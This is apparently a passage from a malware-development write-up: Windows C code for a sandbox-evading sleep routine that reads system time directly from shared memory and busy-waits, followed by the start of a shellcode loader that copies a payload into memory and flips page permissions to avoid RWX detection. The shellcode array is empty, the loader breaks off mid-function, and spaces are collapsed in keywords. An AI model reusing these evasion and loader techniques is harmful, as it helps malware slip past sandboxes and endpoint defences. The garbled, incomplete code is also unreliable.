#include<stdio.h> #include<stdlib.h> #include<Windows.h> #define MS_PER_SECOND 1000 unsignedlonglong __get_timestamp() { constsize_t UNIX_TIME_START = 0x019DB1DED53E8000; // Start of Unix epoch in ticks. constsize_t TICKS_PER_MILLISECOND = 10000; // A tick is 100ns. LARGE_INTEGER time; time.LowPart = *(DWORD*)(0x7FFE0000 + 0x14); // Read LowPart as unsigned long. time.HighPart = *(long*)(0x7FFE0000 + 0x1c); // Read High1Part as long. return (unsignedlonglong)((time.QuadPart - UNIX_TIME_START) / TICKS_PER_MILLISECOND); }
void __alt_sleepms(size_t ms) { volatilesize_t x = rand(); // random buffer var constunsignedlonglong end = __get_timestamp() + ms; // calculate when we shall stop sleeping while (__get_timestamp() < end) { x += 1; } // increment random var by 1 till we reach our endtime if (__get_timestamp() - end > 2000) return; // Fast Forward check, might need some tuning }
voidmain(){
printf("[+] Before Sleep %lld\n", __get_timestamp()); printf("[+] Sleeping for 10 seconds...\n"); __alt_sleepms(10 * MS_PER_SECOND); printf("[+] After Sleep %lld\n", __get_timestamp()); }
#include"snorlax.h"// Header file containing our time based evasion stuff #include"utils.h"// Header file containing RNG related stuff. #include<stdio.h> #include<stdlib.h> #include<Windows.h>
#define INTERVAL rand() % 26 // Edit as you wish #define MS_PER_SECOND 1000 #define SLEEPTIME INTERVAL*MS_PER_SECOND // Make the use easier
unsignedlonglong __get_timestamp() { constsize_t UNIX_TIME_START = 0x019DB1DED53E8000; // Start of Unix epoch in ticks. constsize_t TICKS_PER_MILLISECOND = 10000; // A tick is 100ns. LARGE_INTEGER time; time.LowPart = *(DWORD*)(0x7FFE0000 + 0x14); // Read LowPart as unsigned long. time.HighPart = *(long*)(0x7FFE0000 + 0x1c); // Read High1Part as long. return (unsignedlonglong)((time.QuadPart - UNIX_TIME_START) / TICKS_PER_MILLISECOND); }
void __alt_sleepms(size_t ms) { volatilesize_t x = rand(); // random buffer var constunsignedlonglong end = __get_timestamp() + ms; // calculate when we shall stop sleeping while (__get_timestamp() < end) { x += 1; } // increment random var by 1 till we reach our endtime if (__get_timestamp() - end > 2000) return; // Fast Forward check, might need some tuning }
unsignedchar buf[] = {};
intmain() { // seed our generator // defaultseed could be any seed you choose //but for obvious reasons i recommend using the __TIME__ macro for that. srand( defaultseed );
// Copy our shellcode to the allocated memory memcpy( addr, buf, sizeof( buf ) );
// Now the interesting part where we can leverage sleeping // We basically change memory perms like RW -> R -> RX // RWX memory can appear as an IOC DWORD old_protect; VirtualProtect( addr, sizeof( buf ), PAGE_READONLY, &old_protect );